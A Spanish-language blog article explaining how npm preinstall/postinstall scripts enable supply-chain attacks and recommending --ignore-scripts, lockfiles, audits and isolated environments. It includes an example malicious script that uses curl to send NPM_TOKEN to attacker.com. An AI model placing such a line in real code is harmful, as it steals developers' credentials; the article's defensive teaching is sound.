Cómo npm ignore scripts te puede salvar de un hackeo
En el ecosistema de JavaScript moderno, npm es una pieza fundamental.
Jose Gratereaux
Author
Millones de proyectos dependen de paquetes de terceros para acelerar el desarrollo. Sin embargo, esta misma dependencia masiva abre una puerta peligrosa: la ejecución automática de scripts durante la instalación.
Aquí es donde entra en juego una opción poco conocida pero extremadamente poderosa: --ignore-scripts, que de paso, viene apagada por defecto en npm.
Este artículo te explicará en profundidad:
- Qué son los scripts de npm y por qué son peligrosos
- Cómo funcionan los ataques reales en npm
- Cómo usar
ignore-scriptscorrectamente - Cómo detectar si estás comprometido
- Buenas prácticas para proteger tu entorno
¿Qué son los scripts en npm?
Cuando instalas un paquete con npm, no solo descargas código. También puedes ejecutar scripts automáticamente definidos en su package.json.
Ejemplo:
{
"scripts": {
"preinstall": "node preinstall.js",
"postinstall": "node setup.js"
}
}
Estos scripts se ejecutan automáticamente al correr:
npm install
Tipos comunes de scripts peligrosos
-
preinstall -
install -
postinstall
Estos tienen acceso completo a tu sistema:
- Variables de entorno
- Sistema de archivos
- Red
Esto significa que pueden:
- Robar tokens
- Ejecutar malware
- Instalar backdoors
¿Cómo ocurre un ataque real?
Caso típico: paquete comprometido
- Un desarrollador publica un paquete legítimo
- El paquete gana popularidad
- Un atacante obtiene acceso (phishing, credenciales filtradas, etc.)
- Publica una nueva versión con código malicioso
- Los usuarios hacen
npm installsin sospechar - El script se ejecuta automáticamente
Ejemplo de script malicioso
const { exec } = require('child_process');
exec('curl http://attacker.com/steal?token=' + process.env.NPM_TOKEN);
Este código roba tokens sin que el usuario lo note.
El problema silencioso
Lo más peligroso es que:
- No hay alerta visible
- La instalación parece normal
- El código malicioso se ejecuta en segundo plano
Esto convierte a npm en un vector de ataque silencioso.
La solución: --ignore-scripts
npm permite deshabilitar la ejecución automática de scripts:
npm install --ignore-scripts
¿Qué hace esto?
- Descarga el paquete
- Instala dependencias
- NO ejecuta scripts
Esto bloquea la mayoría de ataques basados en preinstall y postinstall.
Cómo usarlo paso a paso
1. Instalación segura
Siempre que instales dependencias nuevas:
npm install paquete --ignore-scripts
2. Configuración global
Puedes configurarlo como comportamiento por defecto:
npm config set ignore-scripts true
3. Ejecutar scripts manualmente (si confías)
Si necesitas ejecutar scripts después:
npm run postinstall
Casos donde puede romper cosas
No todo es perfecto. Algunos paquetes dependen de scripts para funcionar:
- Compilación de binarios (
node-gyp) - Descarga de assets
- Configuración inicial
Ejemplo:
npm install esbuild --ignore-scripts
Puede que falle porque no descarga el binario.
Solución
Ejecutar manualmente solo lo necesario:
npm rebuild esbuild
Cómo saber si estás infectado
Señales de alerta
- Conexiones sospechosas durante instalación
- Procesos extraños
- Archivos modificados inesperadamente
- Tokens comprometidos
Ver scripts en tus dependencias
npm ls --json | jq '.. | .scripts? // empty'
Inspección manual
Revisa:
node_modules/<paquete>/package.json
Auditoría de seguridad
1. npm audit
npm audit
2. Herramientas externas
- Snyk
- Socket.dev
- osv-scanner
Buenas prácticas
1. Usa lockfiles
Nunca instales sin:
package-lock.json
2. Evita paquetes desconocidos
Revisa:
- Número de descargas
- Último update
- Repositorio
3. Usa entornos aislados
- Docker
- VM
4. CI/CD seguro
En pipelines:
npm ci --ignore-scripts
Estrategia recomendada (nivel profesional)
- Activar
ignore-scriptspor defecto - Lista blanca de paquetes confiables
- Ejecutar scripts manualmente
- Monitorear red y filesystem
Comparación: con vs sin protección
| Escenario | Riesgo |
|---|---|
| npm install normal | Alto |
| npm install --ignore-scripts | Bajo |
Ejemplo realista de ataque
Supongamos que instalas:
npm install random-helper
El paquete contiene:
"postinstall": "node steal.js"
Sin protección:
- Ejecuta automáticamente
- Roba tus credenciales
Con ignore-scripts:
- No se ejecuta
- El ataque falla
Conclusión
--ignore-scripts es una de las medidas más simples y efectivas que puedes implementar hoy mismo.
En un mundo donde la cadena de suministro de software es cada vez más vulnerable, confiar ciegamente en paquetes externos ya no es una opción.
La seguridad no es opcional. Es responsabilidad del desarrollador.
TL;DR
- npm ejecuta scripts automáticamente
- Estos scripts pueden ser maliciosos
- Usa:
npm install --ignore-scripts
- Configúralo como default
- Ejecuta scripts solo si confías
Si este artículo te ayudó, compártelo. Podrías estar evitando el próximo hackeo.